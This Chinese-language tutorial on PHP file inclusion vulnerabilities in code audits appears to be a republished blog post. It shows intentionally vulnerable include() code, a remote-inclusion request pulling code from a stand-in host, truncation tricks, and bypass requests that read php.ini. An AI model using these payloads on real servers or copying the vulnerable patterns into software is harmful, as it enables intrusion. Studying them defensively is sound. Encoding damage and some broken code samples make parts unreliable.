代码审计中的文件包含漏洞
0x00 背景
文件包含漏洞是php語言的一大特性。文件包含的意思是,服務(wù)器在執(zhí)行PHP文件時,可以通過文件包含函數(shù)加載另一個文件中的PHP代碼并執(zhí)行,這會為開發(fā)者節(jié)省大量的時間。而文件包含漏洞的出現(xiàn)在于服務(wù)器沒有對要包含的來源文件進行審查,導(dǎo)致黑客進行了任意文件的讀取甚至執(zhí)行。本文以代碼審計的形式研究文件包含漏洞的原理、挖掘形式、防御方案及缺陷。
0x01?文件包含漏洞的產(chǎn)生原理
文件包含漏洞出現(xiàn)的前提是服務(wù)器開啟allow_url_include選項,在此前提下就可以通過php的某些特性函數(shù)(include(),require()和include_once(),require_once())利用url去動態(tài)包含文件,區(qū)別在于include()、include_once()遇到錯誤繼續(xù)執(zhí)行,而require、require_once遇到錯誤直接退出程序。如果在php配置中開啟了allow_url_fopen,那么就可以進行遠程文件包含。最簡單的文件包含如下:
?
<?php $file=$_GET['page'];include($file) ?>
?
這里用戶以GET形式提交的頁面?zhèn)魅胱兞縡ile,隨后被include函數(shù)包含,中途沒有進行任何過濾和規(guī)范性檢查,黑客往往利用這種漏洞進行任意代碼執(zhí)行或文件讀取。
0x02 文件包含漏洞的挖掘形式
文件包含漏洞通常有兩種挖掘方式,第一種是常見的的關(guān)鍵詞挖掘。直接搜索include(),require(),include_once(),require_once()四個函數(shù),然后進行變量回溯觀察是否用戶自主可控即可。第二種方式是根據(jù)功能進行有針對性的代碼審計,文件包含漏洞通常出現(xiàn)在模板加載處,這里傳遞的參數(shù)就是我們審計的的重點,我們在代碼審計的時候可以通讀部分代碼挖掘漏洞。
本地文件包含
本地文件包含(LFI)顧名思義就是包含本機的為文件,通常出現(xiàn)在模板加載處,我們把上面的代碼放入Web目錄,同時我們在同目錄下新建一個文件,名為phpinfo.php,內(nèi)容為:
?
<?php phpinfo(); ?>?
?提交請求:http://127.0.0.1/include.php?page=phpinfo.php,服務(wù)器執(zhí)行了phpinfo()操作。
遠程文件包含
遠程文件包含(RFI)可以包含其他主機的遠程文件,相比于LFI,RFI的威脅更大但是比較少見。常見RFI的代碼如下:
1 <?php 2 include($_GET['url']); 3 ?>如果存在www.testrfi.com/test.txt,內(nèi)容為<?php phpinfo(); ?>,我們在url參數(shù)里傳入http://testrfi.com/test.txt,訪問后就會反回本機的phpinfo。
文件包含的截斷
上面的的代碼都是理想狀態(tài)下的文件包含,事實上絕大多數(shù)的文件包含都需要配合截斷進行,因為我們不能寫入以.php為拓展名的文件,例如如下程序:
<?php $a = $_GET['file']; include $a.'.html.php'; ?>這種情況我們常見的有三種截斷方式
1.%00截斷
在PHP版本低于5.3并且GPC未開啟的情況下,我們提交請求127.0.0.1/test.php?file=1.txt%00即可進行截斷。
2.點斜杠(./)截斷
在PHP版本低于5.3的情況下,Windows下連續(xù)240個點(.)或者(./)可以截斷,Linux下連續(xù)2038個/.可以截斷。
3.遠程包含的?截斷
1 <?php 2 include($_GET['url'].'.php'); 3 ?>在上面這段代碼中,我們在testrfi.com主機的Web目錄下創(chuàng)建phpinfo.txt,提交請求127.0.0.1/test.php?url=phpinfo.txt?后發(fā)現(xiàn)返回了主機的phpinfo信息。這是因為服務(wù)器解析的內(nèi)容為127.0.0.1/test.php?url=phpinfo.txt?.php,它把?后面的內(nèi)容作為了參數(shù),因此實現(xiàn)了截斷。
0x02 防御方案及缺陷
文件包含漏洞的防御主要列舉三種常見的防御措施
黑名單
?
<?php$file=$_GET['page'];$file=str_replace(array("http://","https://"),"",$file); $file=str_replace(array("../","..\""),"",$file);include ($_GET['file']); ?>?
這里的黑名單依然采用了危險函數(shù)str_replace(),過濾掉了http://、https://、../、..\。在之前的文章中我們提到了可以通過雙寫繞過,我們提交如下請求即可進行文件包含:
http://127.0.0.1?test.php?page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./php.ini文件名匹配
php中有一個函數(shù)為fnmatch(),這個函數(shù)可以根據(jù)指定的模式來匹配文件名或字符串,利用這個函數(shù)我們提出了第二種防御方案:
<?php $file=$_GET['page']; if(!fnmatch("file*",$file)&&$file!="include.php"){ echo"ERROR:Filenotfound!"; exit; } ?>這里fnmatch()函數(shù)要求page參數(shù)的開頭必須是file,服務(wù)器才會去包含相應(yīng)的文件。這里我們可以通過file協(xié)議進行繞過,提交請求即可進行文件包含:
http://127.0.0.1/test.php?page=file:///D:/phpstudy/lfi/php.ini白名單
白名單是最安全防御機制,將允許包含的文件列舉到白名單內(nèi),不在白名單里的文件不得進行包含。唯一的缺點是在大型Web程序中白名單的維護比較復(fù)雜。
?
轉(zhuǎn)載于:https://www.cnblogs.com/richardlee97/p/10542057.html
總結(jié)
以上是生活随笔為你收集整理的代码审计中的文件包含漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 编写函数digit(num, k),函数
- 下一篇: 获取m,n之间的随机整数